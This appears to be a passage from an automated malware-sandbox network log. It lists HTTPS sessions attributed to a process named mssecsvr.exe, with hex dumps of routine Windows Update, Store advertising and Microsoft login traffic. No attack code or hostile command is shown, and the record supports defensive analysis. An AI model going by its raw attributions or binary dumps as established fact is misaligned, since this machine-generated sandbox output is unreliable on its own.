2022-07-20 17:32:46 UTC	8569	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 50f4694f-14b7-4c0a-b4c6-c03d94a9357f MS-RequestId: 405140fb-a9b5-4665-8b97-e8d036548e10 MS-CV: vi7D8J+8jEqBIgdb.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:46 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:46 UTC	8569	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:46 UTC	8585	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:46 UTC	8601	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
54	192.168.2.7	54797	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:46 UTC	8568	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9P6RC76MSMMJ&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023149Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:46 UTC	8569	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: fb34c804-6210-4c3f-b01f-e7470fa75eda Date: Wed, 20 Jul 2022 17:32:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.7	54817	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:46 UTC	8604	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ27N&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023150Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:47 UTC	8605	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: b8c4a2cb-a8a7-4505-8ed3-186ee579b484 Date: Wed, 20 Jul 2022 17:32:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.7	54843	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:47 UTC	8605	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9N0866FS04W8&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023150Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:47 UTC	8606	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 2eb4789f-fb64-4157-981d-17356e5bdb74 Date: Wed, 20 Jul 2022 17:32:46 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
57	192.168.2.7	54825	52.152.110.14	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:47 UTC	8606	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:47 UTC	8607	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: 90b05c1e-fc7d-474d-80f8-61b966f87925 MS-RequestId: 0c847cc6-21a4-406c-9305-8cf94d1a1a24 MS-CV: nI+bIqJnwUewPu3f.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:47 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:47 UTC	8607	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:47 UTC	8623	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:47 UTC	8639	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d Data Ascii: kI0*H010UUS10UWashington10URedmond10UMicrosoft Corporation1200U)Microsoft Root Certificate Authority 20100210930182225Z300930183225Z0\|10UUS10UWashington10URedm

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
58	192.168.2.7	54874	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:47 UTC	8606	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ10M&skuId=0010&installKind=Install&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023151Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:47 UTC	8607	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: c3d03144-6b92-4e6a-99c6-50b6705935a6 Date: Wed, 20 Jul 2022 17:32:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.7	54876	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:47 UTC	8642	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9WZDNCRFJ140&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023153Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:47 UTC	8643	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 687eeb39-39fc-4eaf-a9e7-e1c23c29afb5 Date: Wed, 20 Jul 2022 17:32:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.7	50105	20.190.159.71	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:30:36 UTC	110	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 18.10.0.17134.0.0; IDCRL-cfg 16.000.29340.5; App svchost.exe, 10.0.17134.1, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4796 Host: login.live.com
2022-07-20 17:30:36 UTC	110	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2022-07-20 17:30:37 UTC	131	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Jul 2022 17:29:37 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: R3_BL2 x-ms-request-id: 6b4a4325-fff3-46bf-90fa-57eb282f8c5c PPServer: PPV: 30 H: BL02EPF0000675B V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Jul 2022 17:30:36 GMT Connection: close Content-Length: 11093
2022-07-20 17:30:37 UTC	132	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.7	54886	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:48 UTC	8643	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NC2FBTHCJV8&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023154Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:48 UTC	8644	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 5744bd87-668d-4d92-9dcb-0854abd76550 Date: Wed, 20 Jul 2022 17:32:47 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.7	54911	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:48 UTC	8644	OUT	GET /v1/a/opportunity?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&itemId=9NBLGGH1CQ7L&skuId=0010&installKind=RedirectTile&ctid=store-curated-postoobe&bSrc=i.t&asid=b292032dde8d4dc4a39f8047dd3b6bdb&time=20220721T023155Z HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:48 UTC	8645	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: 33612b8e-96e4-481b-a336-6fdad9cb96d7 Date: Wed, 20 Jul 2022 17:32:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.7	54956	20.238.103.94	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:48 UTC	8645	OUT	GET /v1/a/impression?pg=PC000P0FR5.0000000IQ8&unid=&placementType=PostOOBE&app=&pid=425106558&cid=128000000001392729&tid=700342085&reqasid=9e2476e5eba74ab29242b2cf75e3e00e&region=US&lang=EN-US&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.17134.1&mo=&cap=&auid=&anid=&muid=&persid=&bSrc=i.t&time=20220721T023201Z&asid=b292032dde8d4dc4a39f8047dd3b6bdb&eid= HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: ris.api.iris.microsoft.com Connection: Keep-Alive
2022-07-20 17:32:48 UTC	8646	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 request-id: d4836d93-1593-44fa-8049-e22a4198dd9b Date: Wed, 20 Jul 2022 17:32:48 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.7	54957	20.54.89.106	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 17:32:48 UTC	8645	OUT	GET /SLS/%7B9482F4B4-E343-43B6-B170-9A65BC822C77%7D/x64/10.0.17134.1/0?CH=17&L=en-US&P=&PT=0x30&WUA=10.0.17134.1&MK=EY1u7asxb1nH4cg&MD=UedlnsCG HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/1.81 Host: sls.update.microsoft.com
2022-07-20 17:32:48 UTC	8646	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "AIP0MQaCzKwF3Wv0wR/DNwKKGDF7CierFQWSKotQHD4=_1440" MS-CorrelationId: c7762e9c-429b-4aae-a691-c9022624e1c5 MS-RequestId: 36d546f8-5a01-4e8b-b374-f9381270c75c MS-CV: 9CPVBlpmv0+yyNmF.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 20 Jul 2022 17:32:48 GMT Connection: close Content-Length: 35877
2022-07-20 17:32:48 UTC	8646	IN	Data Raw: 4d 53 43 46 00 00 00 00 a5 42 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 0b 87 00 00 14 00 00 00 00 00 10 00 a5 42 00 00 80 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 26 64 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 5a 10 09 f7 39 42 26 64 43 4b ed bd 05 54 5c 5b ba 2d 5c 14 ee ee 1a 08 6e 85 3b 04 0f 1a dc 25 b8 bb 04 97 c2 83 07 09 ee 4e 70 77 09 4e 70 82 05 08 ae 09 ae 21 81 07 c9 91 f4 e9 d3 dd b7 ef ff fa bf fd ee e8 1a 83 aa bd 74 af b5 f6 fa d6 fc be b9 e7 18 c8 29 8b 4a 00 ee 3f ed 04 80 ef 1f b1 1f 3f 00 48 08 08 00 04 00 0a a0 cd 05 00 60 7d cf 41 fb 5e c7 5c 0a f0 db c7 f8 fe ef a1 56 08 3b e0 a7 8f 1f c0 c4 d6 d5 c2 d1 ce d6 c6 c4 d6 99 c9 cd c6 1a e0 3a 60 5b Data Ascii: MSCFBDBId&denvironment.cabZ9B&dCKT\[-\n;%NpwNp!t)J??H`}A^\V;:`[
2022-07-20 17:32:48 UTC	8662	IN	Data Raw: 2c d5 6c a1 e1 97 4f eb 44 d5 d7 31 d1 59 e6 ed 3c 5c f9 e0 bb 34 e4 d4 f6 e5 cf 75 58 d3 7b f1 91 6f 63 a0 cc f4 c4 a6 ab e5 3a e6 92 72 35 5d 84 ce 74 71 d7 d8 f2 ba fb 90 60 ef 04 55 ed e4 64 b9 d4 aa be 35 95 a4 1a 76 94 4a 12 1a 5e d7 70 59 b4 d9 77 7c b8 ec c5 58 bc 81 dc c9 78 5c a5 6d e9 71 c6 e6 a6 15 ed 41 c6 a2 49 2e 32 71 f5 02 07 81 2e 44 1d 42 3d 03 1e a8 78 29 eb e9 65 da ba 86 6b 80 8f 49 2f fa a5 f3 e4 23 e2 fa 9b 83 90 04 f1 75 8a 79 10 c7 93 b7 8f fd 33 4b 03 4f 6b 0f 28 5b b8 32 4e 01 84 ef 42 1d 15 9c 9d 65 dd ca 7a 61 a0 dc bc b3 99 e5 39 00 ce 79 0a 31 d9 aa a7 56 81 87 c8 58 ac 9e 24 94 e7 37 68 95 73 e7 82 04 da c4 25 9d d2 29 a9 f3 9e 78 2e 57 90 a6 a6 93 ee e7 d9 05 1d 46 b8 6c d4 8d 70 2a 62 4a f8 14 89 cc 10 48 bd 5d 96 50 46 Data Ascii: ,lOD1Y<\4uX{oc:r5]tq`Ud5vJ^pYw\|Xx\mqAI.2q.DB=x)ekI/#uy3KOk([2NBeza9y1VX$7hs%)x.WFlp*bJH]PF
2022-07-20 17:32:48 UTC	8678	IN	Data Raw: 00 00 00 15 c5 e7 6b 9e 02 9b 49 99 00 00 00 00 00 15 30 0d 06 09 2a 86 48 86 f7 0d 01 01 0b 05 00 30 81 88 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 32 30 30 06 03 55 04 03 13 29 4d 69 63 72 6f 73 6f 66 74 20 52 6f 6f 74 20 43 65 72 74 69 66 69 63 61 74 65 20 41 75 74 68 6f 72 69 74 79 20 32 30 31 30 30 1e 17 0d 32 31 30 39 33 30 31 38 32 32 32 35 5a 17 0d 33 30 30 39 33 30 31 38 33 32 32 35 5a 30 7c 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 